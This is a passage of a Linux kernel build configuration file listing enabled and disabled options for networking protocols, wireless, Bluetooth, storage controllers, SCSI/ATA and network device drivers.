CONFIG_IPX_INTERN=y CONFIG_ATALK=y CONFIG_DEV_APPLETALK=y CONFIG_IPDDP=y CONFIG_IPDDP_ENCAP=y CONFIG_X25=y # CONFIG_LAPB is not set CONFIG_PHONET=y # CONFIG_6LOWPAN is not set CONFIG_IEEE802154=y CONFIG_IEEE802154_NL802154_EXPERIMENTAL=y CONFIG_IEEE802154_SOCKET=y CONFIG_MAC802154=y # CONFIG_NET_SCHED is not set # CONFIG_DCB is not set CONFIG_DNS_RESOLVER=y CONFIG_BATMAN_ADV=y CONFIG_BATMAN_ADV_BLA=y # CONFIG_BATMAN_ADV_DAT is not set # CONFIG_BATMAN_ADV_NC is not set # CONFIG_BATMAN_ADV_MCAST is not set # CONFIG_BATMAN_ADV_DEBUG is not set # CONFIG_OPENVSWITCH is not set CONFIG_VSOCKETS=y # CONFIG_VMWARE_VMCI_VSOCKETS is not set # CONFIG_NETLINK_MMAP is not set # CONFIG_NETLINK_DIAG is not set CONFIG_MPLS=y # CONFIG_NET_MPLS_GSO is not set # CONFIG_MPLS_ROUTING is not set # CONFIG_HSR is not set CONFIG_NET_SWITCHDEV=y CONFIG_NET_L3_MASTER_DEV=y CONFIG_RPS=y CONFIG_RFS_ACCEL=y CONFIG_XPS=y # CONFIG_CGROUP_NET_PRIO is not set CONFIG_CGROUP_NET_CLASSID=y CONFIG_NET_RX_BUSY_POLL=y CONFIG_BQL=y CONFIG_NET_FLOW_LIMIT=y # # Network testing # # CONFIG_HAMRADIO is not set CONFIG_CAN=y # CONFIG_CAN_RAW is not set CONFIG_CAN_BCM=y CONFIG_CAN_GW=y # # CAN Device Drivers # CONFIG_CAN_VCAN=y CONFIG_CAN_DEV=y # CONFIG_CAN_CALC_BITTIMING is not set CONFIG_CAN_LEDS=y CONFIG_CAN_JANZ_ICAN3=y # CONFIG_CAN_GRCAN is not set # CONFIG_CAN_SJA1000 is not set # CONFIG_CAN_C_CAN is not set CONFIG_CAN_M_CAN=y CONFIG_CAN_CC770=y # CONFIG_CAN_CC770_ISA is not set CONFIG_CAN_CC770_PLATFORM=y # # CAN USB interfaces # CONFIG_CAN_EMS_USB=y CONFIG_CAN_ESD_USB2=y CONFIG_CAN_GS_USB=y CONFIG_CAN_KVASER_USB=y CONFIG_CAN_PEAK_USB=y CONFIG_CAN_8DEV_USB=y CONFIG_CAN_SOFTING=y CONFIG_CAN_DEBUG_DEVICES=y CONFIG_IRDA=y # # IrDA protocols # CONFIG_IRLAN=y CONFIG_IRDA_ULTRA=y # # IrDA options # CONFIG_IRDA_CACHE_LAST_LSAP=y # CONFIG_IRDA_FAST_RR is not set CONFIG_IRDA_DEBUG=y # # Infrared-port device drivers # # # SIR device drivers # # # Dongle support # CONFIG_KINGSUN_DONGLE=y # CONFIG_KSDAZZLE_DONGLE is not set CONFIG_KS959_DONGLE=y # # FIR device drivers # CONFIG_USB_IRDA=y CONFIG_SIGMATEL_FIR=y CONFIG_VLSI_FIR=y CONFIG_MCS_FIR=y CONFIG_BT=y CONFIG_BT_BREDR=y # CONFIG_BT_RFCOMM is not set # CONFIG_BT_BNEP is not set CONFIG_BT_HIDP=y # CONFIG_BT_HS is not set # CONFIG_BT_LE is not set CONFIG_BT_SELFTEST=y # CONFIG_BT_DEBUGFS is not set # # Bluetooth device drivers # CONFIG_BT_INTEL=y CONFIG_BT_BCM=y CONFIG_BT_HCIBTUSB=y CONFIG_BT_HCIBTUSB_BCM=y # CONFIG_BT_HCIBTUSB_RTL is not set CONFIG_BT_HCIBTSDIO=y CONFIG_BT_HCIUART=y CONFIG_BT_HCIUART_H4=y CONFIG_BT_HCIUART_BCSP=y CONFIG_BT_HCIUART_ATH3K=y CONFIG_BT_HCIUART_LL=y CONFIG_BT_HCIUART_3WIRE=y # CONFIG_BT_HCIUART_INTEL is not set CONFIG_BT_HCIUART_BCM=y # CONFIG_BT_HCIUART_QCA is not set # CONFIG_BT_HCIBCM203X is not set CONFIG_BT_HCIBPA10X=y # CONFIG_BT_HCIBFUSB is not set CONFIG_BT_HCIVHCI=y CONFIG_BT_MRVL=y CONFIG_BT_MRVL_SDIO=y # CONFIG_BT_ATH3K is not set CONFIG_AF_RXRPC=y CONFIG_AF_RXRPC_DEBUG=y # CONFIG_RXKAD is not set CONFIG_FIB_RULES=y CONFIG_WIRELESS=y CONFIG_WIRELESS_EXT=y CONFIG_WEXT_CORE=y CONFIG_WEXT_SPY=y CONFIG_WEXT_PRIV=y CONFIG_CFG80211=y # CONFIG_NL80211_TESTMODE is not set CONFIG_CFG80211_DEVELOPER_WARNINGS=y CONFIG_CFG80211_REG_DEBUG=y CONFIG_CFG80211_CERTIFICATION_ONUS=y # CONFIG_CFG80211_REG_CELLULAR_HINTS is not set # CONFIG_CFG80211_REG_RELAX_NO_IR is not set # CONFIG_CFG80211_DEFAULT_PS is not set CONFIG_CFG80211_DEBUGFS=y CONFIG_CFG80211_INTERNAL_REGDB=y CONFIG_CFG80211_WEXT=y CONFIG_CFG80211_WEXT_EXPORT=y CONFIG_LIB80211=y CONFIG_LIB80211_CRYPT_WEP=y CONFIG_LIB80211_CRYPT_CCMP=y CONFIG_LIB80211_CRYPT_TKIP=y CONFIG_LIB80211_DEBUG=y CONFIG_MAC80211=y CONFIG_MAC80211_HAS_RC=y CONFIG_MAC80211_RC_MINSTREL=y CONFIG_MAC80211_RC_MINSTREL_HT=y CONFIG_MAC80211_RC_MINSTREL_VHT=y CONFIG_MAC80211_RC_DEFAULT_MINSTREL=y CONFIG_MAC80211_RC_DEFAULT="minstrel_ht" # CONFIG_MAC80211_MESH is not set CONFIG_MAC80211_LEDS=y # CONFIG_MAC80211_DEBUGFS is not set CONFIG_MAC80211_MESSAGE_TRACING=y CONFIG_MAC80211_DEBUG_MENU=y CONFIG_MAC80211_NOINLINE=y CONFIG_MAC80211_VERBOSE_DEBUG=y # CONFIG_MAC80211_MLME_DEBUG is not set CONFIG_MAC80211_STA_DEBUG=y CONFIG_MAC80211_HT_DEBUG=y # CONFIG_MAC80211_OCB_DEBUG is not set CONFIG_MAC80211_IBSS_DEBUG=y CONFIG_MAC80211_PS_DEBUG=y CONFIG_MAC80211_TDLS_DEBUG=y CONFIG_MAC80211_STA_HASH_MAX_SIZE=0 # CONFIG_WIMAX is not set CONFIG_RFKILL=y CONFIG_RFKILL_LEDS=y CONFIG_RFKILL_INPUT=y CONFIG_RFKILL_REGULATOR=y # CONFIG_RFKILL_GPIO is not set # CONFIG_NET_9P is not set CONFIG_CAIF=y # CONFIG_CAIF_DEBUG is not set CONFIG_CAIF_NETDEV=y CONFIG_CAIF_USB=y CONFIG_CEPH_LIB=y # CONFIG_CEPH_LIB_PRETTYDEBUG is not set CONFIG_CEPH_LIB_USE_DNS_RESOLVER=y CONFIG_NFC=y # CONFIG_NFC_DIGITAL is not set # CONFIG_NFC_NCI is not set CONFIG_NFC_HCI=y # CONFIG_NFC_SHDLC is not set # # Near Field Communication (NFC) devices # CONFIG_NFC_PN533=y CONFIG_NFC_MEI_PHY=y # CONFIG_NFC_SIM is not set CONFIG_NFC_PN544=y # CONFIG_NFC_PN544_MEI is not set CONFIG_NFC_MICROREAD=y CONFIG_NFC_MICROREAD_MEI=y CONFIG_NFC_ST21NFCA=y CONFIG_LWTUNNEL=y CONFIG_HAVE_BPF_JIT=y # # Device Drivers # # # Generic Driver Options # CONFIG_UEVENT_HELPER=y CONFIG_UEVENT_HELPER_PATH="" CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y CONFIG_STANDALONE=y CONFIG_PREVENT_FIRMWARE_BUILD=y CONFIG_FW_LOADER=y # CONFIG_FIRMWARE_IN_KERNEL is not set CONFIG_EXTRA_FIRMWARE="" CONFIG_FW_LOADER_USER_HELPER=y CONFIG_FW_LOADER_USER_HELPER_FALLBACK=y CONFIG_WANT_DEV_COREDUMP=y CONFIG_ALLOW_DEV_COREDUMP=y CONFIG_DEV_COREDUMP=y CONFIG_DEBUG_DRIVER=y CONFIG_DEBUG_DEVRES=y # CONFIG_SYS_HYPERVISOR is not set # CONFIG_GENERIC_CPU_DEVICES is not set CONFIG_GENERIC_CPU_AUTOPROBE=y CONFIG_REGMAP=y CONFIG_REGMAP_I2C=y CONFIG_REGMAP_MMIO=y CONFIG_REGMAP_IRQ=y CONFIG_DMA_SHARED_BUFFER=y CONFIG_FENCE_TRACE=y # # Bus devices # CONFIG_CONNECTOR=y # CONFIG_PROC_EVENTS is not set # CONFIG_MTD is not set CONFIG_OF=y # CONFIG_OF_UNITTEST is not set CONFIG_OF_ADDRESS=y CONFIG_OF_ADDRESS_PCI=y CONFIG_OF_IRQ=y CONFIG_OF_NET=y CONFIG_OF_MDIO=y CONFIG_OF_PCI=y CONFIG_OF_PCI_IRQ=y # CONFIG_OF_OVERLAY is not set CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y CONFIG_PARPORT=y # CONFIG_PARPORT_PC is not set # CONFIG_PARPORT_GSC is not set CONFIG_PARPORT_AX88796=y # CONFIG_PARPORT_1284 is not set CONFIG_PARPORT_NOT_PC=y CONFIG_PNP=y CONFIG_PNP_DEBUG_MESSAGES=y # # Protocols # CONFIG_PNPACPI=y CONFIG_BLK_DEV=y CONFIG_BLK_DEV_NULL_BLK=y CONFIG_BLK_DEV_PCIESSD_MTIP32XX=y CONFIG_BLK_CPQ_CISS_DA=y CONFIG_BLK_DEV_DAC960=y CONFIG_BLK_DEV_UMEM=y # CONFIG_BLK_DEV_COW_COMMON is not set CONFIG_BLK_DEV_LOOP=y CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 CONFIG_BLK_DEV_CRYPTOLOOP=y # # DRBD disabled because PROC_FS or INET not selected # # CONFIG_BLK_DEV_NBD is not set # CONFIG_BLK_DEV_SKD is not set CONFIG_BLK_DEV_SX8=y CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=4096 CONFIG_CDROM_PKTCDVD=y CONFIG_CDROM_PKTCDVD_BUFFERS=8 # CONFIG_CDROM_PKTCDVD_WCACHE is not set CONFIG_ATA_OVER_ETH=y # CONFIG_VIRTIO_BLK is not set CONFIG_BLK_DEV_HD=y CONFIG_BLK_DEV_RBD=y CONFIG_BLK_DEV_RSXX=y CONFIG_BLK_DEV_NVME=y # # Misc devices # CONFIG_SENSORS_LIS3LV02D=y CONFIG_AD525X_DPOT=y CONFIG_AD525X_DPOT_I2C=y CONFIG_DUMMY_IRQ=y CONFIG_IBM_ASM=y # CONFIG_PHANTOM is not set CONFIG_SGI_IOC4=y CONFIG_TIFM_CORE=y CONFIG_TIFM_7XX1=y # CONFIG_ICS932S401 is not set # CONFIG_ENCLOSURE_SERVICES is not set CONFIG_HP_ILO=y CONFIG_APDS9802ALS=y # CONFIG_ISL29003 is not set CONFIG_ISL29020=y CONFIG_SENSORS_TSL2550=y # CONFIG_SENSORS_BH1780 is not set CONFIG_SENSORS_BH1770=y # CONFIG_SENSORS_APDS990X is not set CONFIG_HMC6352=y # CONFIG_DS1682 is not set CONFIG_VMWARE_BALLOON=y CONFIG_BMP085=y CONFIG_BMP085_I2C=y CONFIG_USB_SWITCH_FSA9480=y # CONFIG_SRAM is not set # CONFIG_C2PORT is not set # # EEPROM support # CONFIG_EEPROM_AT24=y # CONFIG_EEPROM_LEGACY is not set CONFIG_EEPROM_MAX6875=y CONFIG_EEPROM_93CX6=y CONFIG_CB710_CORE=y CONFIG_CB710_DEBUG=y CONFIG_CB710_DEBUG_ASSUMPTIONS=y # # Texas Instruments shared transport line discipline # CONFIG_SENSORS_LIS3_I2C=y # # Altera FPGA firmware download module # # CONFIG_ALTERA_STAPL is not set CONFIG_INTEL_MEI=y CONFIG_INTEL_MEI_ME=y CONFIG_INTEL_MEI_TXE=y CONFIG_VMWARE_VMCI=y # # Intel MIC Bus Driver # # CONFIG_INTEL_MIC_BUS is not set # # SCIF Bus Driver # # CONFIG_SCIF_BUS is not set # # Intel MIC Host Driver # # # Intel MIC Card Driver # # # SCIF Driver # # # Intel MIC Coprocessor State Management (COSM) Drivers # CONFIG_GENWQE=y CONFIG_GENWQE_PLATFORM_ERROR_RECOVERY=0 CONFIG_ECHO=y # CONFIG_CXL_BASE is not set # CONFIG_CXL_KERNEL_API is not set # CONFIG_CXL_EEH is not set CONFIG_HAVE_IDE=y CONFIG_IDE=y # # Please see Documentation/ide/ide.txt for help/info on IDE drives # CONFIG_IDE_XFER_MODE=y CONFIG_IDE_TIMINGS=y CONFIG_IDE_ATAPI=y CONFIG_BLK_DEV_IDE_SATA=y # CONFIG_IDE_GD is not set CONFIG_BLK_DEV_IDECD=y # CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS is not set CONFIG_BLK_DEV_IDETAPE=y CONFIG_BLK_DEV_IDEACPI=y # CONFIG_IDE_TASK_IOCTL is not set # # IDE chipset support/bugfixes # # CONFIG_IDE_GENERIC is not set # CONFIG_BLK_DEV_PLATFORM is not set # CONFIG_BLK_DEV_CMD640 is not set # CONFIG_BLK_DEV_IDEPNP is not set CONFIG_BLK_DEV_IDEDMA_SFF=y # # PCI IDE chipsets support # CONFIG_BLK_DEV_IDEPCI=y CONFIG_IDEPCI_PCIBUS_ORDER=y CONFIG_BLK_DEV_OFFBOARD=y CONFIG_BLK_DEV_GENERIC=y CONFIG_BLK_DEV_OPTI621=y CONFIG_BLK_DEV_RZ1000=y CONFIG_BLK_DEV_IDEDMA_PCI=y # CONFIG_BLK_DEV_AEC62XX is not set CONFIG_BLK_DEV_ALI15X3=y CONFIG_BLK_DEV_AMD74XX=y # CONFIG_BLK_DEV_ATIIXP is not set CONFIG_BLK_DEV_CMD64X=y # CONFIG_BLK_DEV_TRIFLEX is not set CONFIG_BLK_DEV_HPT366=y CONFIG_BLK_DEV_JMICRON=y CONFIG_BLK_DEV_PIIX=y CONFIG_BLK_DEV_IT8172=y CONFIG_BLK_DEV_IT8213=y CONFIG_BLK_DEV_IT821X=y CONFIG_BLK_DEV_NS87415=y CONFIG_BLK_DEV_PDC202XX_OLD=y CONFIG_BLK_DEV_PDC202XX_NEW=y # CONFIG_BLK_DEV_SVWKS is not set CONFIG_BLK_DEV_SIIMAGE=y # CONFIG_BLK_DEV_SIS5513 is not set CONFIG_BLK_DEV_SLC90E66=y CONFIG_BLK_DEV_TRM290=y CONFIG_BLK_DEV_VIA82CXXX=y CONFIG_BLK_DEV_TC86C001=y CONFIG_BLK_DEV_IDEDMA=y # # SCSI device support # CONFIG_SCSI_MOD=y CONFIG_RAID_ATTRS=y CONFIG_SCSI=y CONFIG_SCSI_DMA=y CONFIG_SCSI_NETLINK=y # CONFIG_SCSI_MQ_DEFAULT is not set # # SCSI support type (disk, tape, CD-ROM) # CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set # CONFIG_CHR_DEV_OSST is not set # CONFIG_BLK_DEV_SR is not set # CONFIG_CHR_DEV_SG is not set CONFIG_CHR_DEV_SCH=y # CONFIG_SCSI_CONSTANTS is not set CONFIG_SCSI_LOGGING=y # CONFIG_SCSI_SCAN_ASYNC is not set # # SCSI Transports # CONFIG_SCSI_SPI_ATTRS=y CONFIG_SCSI_FC_ATTRS=y CONFIG_SCSI_ISCSI_ATTRS=y CONFIG_SCSI_SAS_ATTRS=y CONFIG_SCSI_SAS_LIBSAS=y CONFIG_SCSI_SAS_ATA=y CONFIG_SCSI_SAS_HOST_SMP=y # CONFIG_SCSI_SRP_ATTRS is not set CONFIG_SCSI_LOWLEVEL=y # CONFIG_ISCSI_TCP is not set CONFIG_ISCSI_BOOT_SYSFS=y CONFIG_SCSI_CXGB3_ISCSI=y # CONFIG_SCSI_CXGB4_ISCSI is not set CONFIG_SCSI_BNX2_ISCSI=y CONFIG_SCSI_BNX2X_FCOE=y CONFIG_BE2ISCSI=y CONFIG_BLK_DEV_3W_XXXX_RAID=y CONFIG_SCSI_HPSA=y # CONFIG_SCSI_3W_9XXX is not set CONFIG_SCSI_3W_SAS=y CONFIG_SCSI_ACARD=y CONFIG_SCSI_AACRAID=y CONFIG_SCSI_AIC7XXX=y CONFIG_AIC7XXX_CMDS_PER_DEVICE=32 CONFIG_AIC7XXX_RESET_DELAY_MS=5000 CONFIG_AIC7XXX_DEBUG_ENABLE=y CONFIG_AIC7XXX_DEBUG_MASK=0 # CONFIG_AIC7XXX_REG_PRETTY_PRINT is not set # CONFIG_SCSI_AIC79XX is not set CONFIG_SCSI_AIC94XX=y CONFIG_AIC94XX_DEBUG=y # CONFIG_SCSI_MVSAS is not set CONFIG_SCSI_MVUMI=y CONFIG_SCSI_DPT_I2O=y CONFIG_SCSI_ADVANSYS=y CONFIG_SCSI_ARCMSR=y CONFIG_SCSI_ESAS2R=y CONFIG_MEGARAID_NEWGEN=y CONFIG_MEGARAID_MM=y # CONFIG_MEGARAID_MAILBOX is not set CONFIG_MEGARAID_LEGACY=y # CONFIG_MEGARAID_SAS is not set # CONFIG_SCSI_MPT2SAS is not set CONFIG_SCSI_MPT3SAS=y CONFIG_SCSI_MPT3SAS_MAX_SGE=128 # CONFIG_SCSI_MPT3SAS_LOGGING is not set CONFIG_SCSI_UFSHCD=y CONFIG_SCSI_UFSHCD_PCI=y CONFIG_SCSI_UFSHCD_PLATFORM=y CONFIG_SCSI_HPTIOP=y CONFIG_VMWARE_PVSCSI=y CONFIG_LIBFC=y CONFIG_LIBFCOE=y CONFIG_FCOE=y CONFIG_FCOE_FNIC=y CONFIG_SCSI_SNIC=y # CONFIG_SCSI_SNIC_DEBUG_FS is not set CONFIG_SCSI_DMX3191D=y # CONFIG_SCSI_FUTURE_DOMAIN is not set CONFIG_SCSI_ISCI=y CONFIG_SCSI_IPS=y CONFIG_SCSI_INITIO=y # CONFIG_SCSI_INIA100 is not set CONFIG_SCSI_STEX=y CONFIG_SCSI_SYM53C8XX_2=y CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1 CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16 CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64 CONFIG_SCSI_SYM53C8XX_MMIO=y CONFIG_SCSI_IPR=y # CONFIG_SCSI_IPR_TRACE is not set CONFIG_SCSI_IPR_DUMP=y CONFIG_SCSI_QLOGIC_1280=y CONFIG_SCSI_QLA_FC=y CONFIG_TCM_QLA2XXX=y CONFIG_SCSI_QLA_ISCSI=y CONFIG_SCSI_LPFC=y # CONFIG_SCSI_LPFC_DEBUG_FS is not set CONFIG_SCSI_DC395x=y CONFIG_SCSI_AM53C974=y CONFIG_SCSI_WD719X=y CONFIG_SCSI_DEBUG=y # CONFIG_SCSI_PMCRAID is not set CONFIG_SCSI_PM8001=y # CONFIG_SCSI_BFA_FC is not set # CONFIG_SCSI_VIRTIO is not set CONFIG_SCSI_CHELSIO_FCOE=y # CONFIG_SCSI_DH is not set # CONFIG_SCSI_OSD_INITIATOR is not set CONFIG_ATA=y # CONFIG_ATA_NONSTANDARD is not set # CONFIG_ATA_VERBOSE_ERROR is not set CONFIG_ATA_ACPI=y CONFIG_SATA_ZPODD=y # CONFIG_SATA_PMP is not set # # Controllers with non-SFF native interface # CONFIG_SATA_AHCI=y # CONFIG_SATA_AHCI_PLATFORM is not set CONFIG_AHCI_CEVA=y # CONFIG_AHCI_QORIQ is not set CONFIG_SATA_INIC162X=y CONFIG_SATA_ACARD_AHCI=y CONFIG_SATA_SIL24=y # CONFIG_ATA_SFF is not set # CONFIG_MD is not set CONFIG_TARGET_CORE=y # CONFIG_TCM_IBLOCK is not set CONFIG_TCM_FILEIO=y # CONFIG_TCM_PSCSI is not set CONFIG_TCM_USER2=y CONFIG_LOOPBACK_TARGET=y CONFIG_TCM_FC=y CONFIG_ISCSI_TARGET=y # CONFIG_FUSION is not set # # IEEE 1394 (FireWire) support # # CONFIG_FIREWIRE is not set CONFIG_FIREWIRE_NOSY=y # CONFIG_MACINTOSH_DRIVERS is not set CONFIG_NETDEVICES=y CONFIG_MII=y CONFIG_NET_CORE=y CONFIG_BONDING=y # CONFIG_DUMMY is not set CONFIG_EQUALIZER=y CONFIG_NET_FC=y CONFIG_NET_TEAM=y CONFIG_NET_TEAM_MODE_BROADCAST=y CONFIG_NET_TEAM_MODE_ROUNDROBIN=y # CONFIG_NET_TEAM_MODE_RANDOM is not set # CONFIG_NET_TEAM_MODE_ACTIVEBACKUP is not set CONFIG_NET_TEAM_MODE_LOADBALANCE=y # CONFIG_MACVLAN is not set CONFIG_IPVLAN=y CONFIG_VXLAN=y CONFIG_GENEVE=y CONFIG_NETCONSOLE=y # CONFIG_NETCONSOLE_DYNAMIC is not set CONFIG_NETPOLL=y CONFIG_NET_POLL_CONTROLLER=y CONFIG_RIONET=y CONFIG_RIONET_TX_SIZE=128 CONFIG_RIONET_RX_SIZE=128 CONFIG_TUN=y CONFIG_TUN_VNET_CROSS_LE=y CONFIG_VETH=y # CONFIG_VIRTIO_NET is not set CONFIG_NLMON=y # CONFIG_ARCNET is not set # # CAIF transport drivers # CONFIG_CAIF_SPI_SLAVE=y # CONFIG_CAIF_SPI_SYNC is not set CONFIG_CAIF_HSI=y CONFIG_CAIF_VIRTIO=y CONFIG_VHOST_NET=y CONFIG_VHOST_RING=y CONFIG_VHOST=y CONFIG_VHOST_CROSS_ENDIAN_LEGACY=y # # Distributed Switch Architecture drivers # CONFIG_NET_DSA_MV88E6XXX=y CONFIG_NET_DSA_MV88E6060=y # CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set # CONFIG_NET_DSA_MV88E6131 is not set CONFIG_NET_DSA_MV88E6123_61_65=y CONFIG_NET_DSA_MV88E6171=y CONFIG_NET_DSA_MV88E6352=y CONFIG_NET_DSA_BCM_SF2=y CONFIG_ETHERNET=y CONFIG_MDIO=y # CONFIG_NET_VENDOR_3COM is not set # CONFIG_NET_VENDOR_ADAPTEC is not set CONFIG_NET_VENDOR_AGERE=y # CONFIG_ET131X is not set CONFIG_NET_VENDOR_ALTEON=y # CONFIG_ACENIC is not set CONFIG_ALTERA_TSE=y # CONFIG_NET_VENDOR_AMD is not set CONFIG_NET_VENDOR_ARC=y CONFIG_ARC_EMAC_CORE=y CONFIG_ARC_EMAC=y CONFIG_EMAC_ROCKCHIP=y # CONFIG_NET_VENDOR_ATHEROS is not set CONFIG_NET_CADENCE=y CONFIG_MACB=y CONFIG_NET_VENDOR_BROADCOM=y CONFIG_B44=y CONFIG_B44_PCI_AUTOSELECT=y CONFIG_B44_PCICORE_AUTOSELECT=y CONFIG_B44_PCI=y CONFIG_BCMGENET=y CONFIG_BNX2=y CONFIG_CNIC=y # CONFIG_TIGON3 is not set # CONFIG_BNX2X is not set CONFIG_SYSTEMPORT=y CONFIG_NET_VENDOR_BROCADE=y # CONFIG_BNA is not set CONFIG_NET_VENDOR_CAVIUM=y CONFIG_THUNDER_NIC_PF=y CONFIG_THUNDER_NIC_VF=y CONFIG_THUNDER_NIC_BGX=y CONFIG_LIQUIDIO=y CONFIG_NET_VENDOR_CHELSIO=y CONFIG_CHELSIO_T1=y CONFIG_CHELSIO_T1_1G=y CONFIG_CHELSIO_T3=y CONFIG_CHELSIO_T4=y CONFIG_CHELSIO_T4VF=y CONFIG_NET_VENDOR_CISCO=y # CONFIG_ENIC is not set CONFIG_CX_ECAT=y CONFIG_DNET=y # CONFIG_NET_VENDOR_DEC is not set CONFIG_NET_VENDOR_DLINK=y # CONFIG_DL2K is not set CONFIG_SUNDANCE=y CONFIG_SUNDANCE_MMIO=y CONFIG_NET_VENDOR_EMULEX=y CONFIG_BE2NET=y CONFIG_BE2NET_HWMON=y CONFIG_BE2NET_VXLAN=y # CONFIG_NET_VENDOR_EZCHIP is not set # CONFIG_NET_VENDOR_EXAR is not set # CONFIG_NET_VENDOR_HP is not set # CONFIG_NET_VENDOR_INTEL is not set CONFIG_IP1000=y CONFIG_JME=y # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set CONFIG_NET_VENDOR_MICREL=y CONFIG_KS8851_MLL=y CONFIG_KSZ884X_PCI=y # CONFIG_NET_VENDOR_MYRI is not set CONFIG_FEALNX=y # CONFIG_NET_VENDOR_NATSEMI is not set # CONFIG_NET_VENDOR_NVIDIA is not set CONFIG_NET_VENDOR_OKI=y CONFIG_ETHOC=y # CONFIG_NET_PACKET_ENGINE is not set # CONFIG_NET_VENDOR_QLOGIC is not set CONFIG_NET_VENDOR_QUALCOMM=y # CONFIG_NET_VENDOR_REALTEK is not set # CONFIG_NET_VENDOR_RENESAS is not set CONFIG_NET_VENDOR_RDC=y CONFIG_R6040=y CONFIG_NET_VENDOR_ROCKER=y # CONFIG_ROCKER is not set CONFIG_NET_VENDOR_SAMSUNG=y CONFIG_SXGBE_ETH=y CONFIG_NET_VENDOR_SEEQ=y # CONFIG_NET_VENDOR_SILAN is not set # CONFIG_NET_VENDOR_SIS is not set CONFIG_SFC=y # CONFIG_SFC_MCDI_MON is not set CONFIG_SFC_SRIOV=y CONFIG_SFC_MCDI_LOGGING=y # CONFIG_NET_VENDOR_SMSC is not set CONFIG_NET_VENDOR_STMICRO=y CONFIG_STMMAC_ETH=y CONFIG_STMMAC_PLATFORM=y CONFIG_DWMAC_GENERIC=y CONFIG_DWMAC_IPQ806X=y CONFIG_DWMAC_LPC18XX=y CONFIG_DWMAC_MESON=y CONFIG_DWMAC_ROCKCHIP=y # CONFIG_DWMAC_SOCFPGA is not set # CONFIG_DWMAC_STI is not set # CONFIG_DWMAC_SUNXI is not set # CONFIG_STMMAC_PCI is not set # CONFIG_NET_VENDOR_SUN is not set # CONFIG_NET_VENDOR_SYNOPSYS is not set CONFIG_NET_VENDOR_TEHUTI=y CONFIG_TEHUTI=y CONFIG_NET_VENDOR_TI=y CONFIG_TI_CPSW_ALE=y CONFIG_TLAN=y # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set CONFIG_FDDI=y # CONFIG_DEFXX is not set CONFIG_SKFP=y CONFIG_HIPPI=y CONFIG_ROADRUNNER=y # CONFIG_ROADRUNNER_LARGE_RINGS is not set CONFIG_NET_SB1000=y CONFIG_PHYLIB=y # # MII PHY device drivers # CONFIG_AQUANTIA_PHY=y # CONFIG_AT803X_PHY is not set CONFIG_AMD_PHY=y CONFIG_MARVELL_PHY=y CONFIG_DAVICOM_PHY=y # CONFIG_QSEMI_PHY is not set CONFIG_LXT_PHY=y # CONFIG_CICADA_PHY is not set # CONFIG_VITESSE_PHY is not set CONFIG_TERANETICS_PHY=y CONFIG_SMSC_PHY=y CONFIG_BCM_NET_PHYLIB=y # CONFIG_BROADCOM_PHY is not set CONFIG_BCM7XXX_PHY=y CONFIG_BCM87XX_PHY=y CONFIG_ICPLUS_PHY=y CONFIG_REALTEK_PHY=y # CONFIG_NATIONAL_PHY is not set # CONFIG_STE10XP is not set CONFIG_LSI_ET1011C_PHY=y CONFIG_MICREL_PHY=y CONFIG_DP83867_PHY=y CONFIG_MICROCHIP_PHY=y CONFIG_FIXED_PHY=y # CONFIG_MDIO_BITBANG is not set CONFIG_MDIO_OCTEON=y CONFIG_MDIO_BUS_MUX=y CONFIG_MDIO_BUS_MUX_GPIO=y CONFIG_MDIO_BUS_MUX_MMIOREG=y CONFIG_MDIO_BCM_UNIMAC=y CONFIG_PLIP=y # CONFIG_PPP is not set CONFIG_USB_NET_DRIVERS=y CONFIG_USB_CATC=y CONFIG_USB_KAWETH=y # CONFIG_USB_PEGASUS is not set CONFIG_USB_RTL8150=y CONFIG_USB_RTL8152=y # CONFIG_USB_LAN78XX is not set CONFIG_USB_USBNET=y CONFIG_USB_NET_AX8817X=y CONFIG_USB_NET_AX88179_178A=y CONFIG_USB_NET_CDCETHER=y # CONFIG_USB_NET_CDC_EEM is not set CONFIG_USB_NET_CDC_NCM=y # CONFIG_USB_NET_HUAWEI_CDC_NCM is not set CONFIG_USB_NET_CDC_MBIM=y CONFIG_USB_NET_DM9601=y # CONFIG_USB_NET_SR9700 is not set CONFIG_USB_NET_SR9800=y # CONFIG_USB_NET_SMSC75XX is not set # CONFIG_USB_NET_SMSC95XX is not set CONFIG_USB_NET_GL620A=y # CONFIG_USB_NET_NET1080 is not set CONFIG_USB_NET_PLUSB=y CONFIG_USB_NET_MCS7830=y CONFIG_USB_NET_RNDIS_HOST=y CONFIG_USB_NET_CDC_SUBSET=y CONFIG_USB_ALI_M5632=y CONFIG_USB_AN2720=y CONFIG_USB_BELKIN=y CONFIG_USB_ARMLINUX=y # CONFIG_USB_EPSON2888 is not set # CONFIG_USB_KC2190 is not set CONFIG_USB_NET_ZAURUS=y CONFIG_USB_NET_CX82310_ETH=y CONFIG_USB_NET_KALMIA=y CONFIG_USB_NET_QMI_WWAN=y # CONFIG_USB_NET_INT51X1 is not set CONFIG_USB_CDC_PHONET=y CONFIG_USB_IPHETH=y CONFIG_USB_SIERRA_NET=y CONFIG_USB_NET_CH9200=y CONFIG_WLAN=y # CONFIG_LIBERTAS_THINFIRM is not set # CONFIG_ATMEL is not set # CONFIG_AT76C50X_USB is not set CONFIG_PRISM54=y CONFIG_USB_ZD1201=y CONFIG_USB_NET_RNDIS_WLAN=y CONFIG_ADM8211=y CONFIG_RTL8180=y CONFIG_RTL8187=y CONFIG_RTL8187_LEDS=y CONFIG_MAC80211_HWSIM=y CONFIG_MWL8K=y CONFIG_ATH_COMMON=y CONFIG_ATH_CARDS=y CONFIG_ATH_DEBUG=y CONFIG_ATH_REG_DYNAMIC_USER_REG_HINTS=y CONFIG_ATH_REG_DYNAMIC_USER_CERT_TESTING=y CONFIG_ATH5K=y # CONFIG_ATH5K_DEBUG is not set CONFIG_ATH5K_PCI=y # 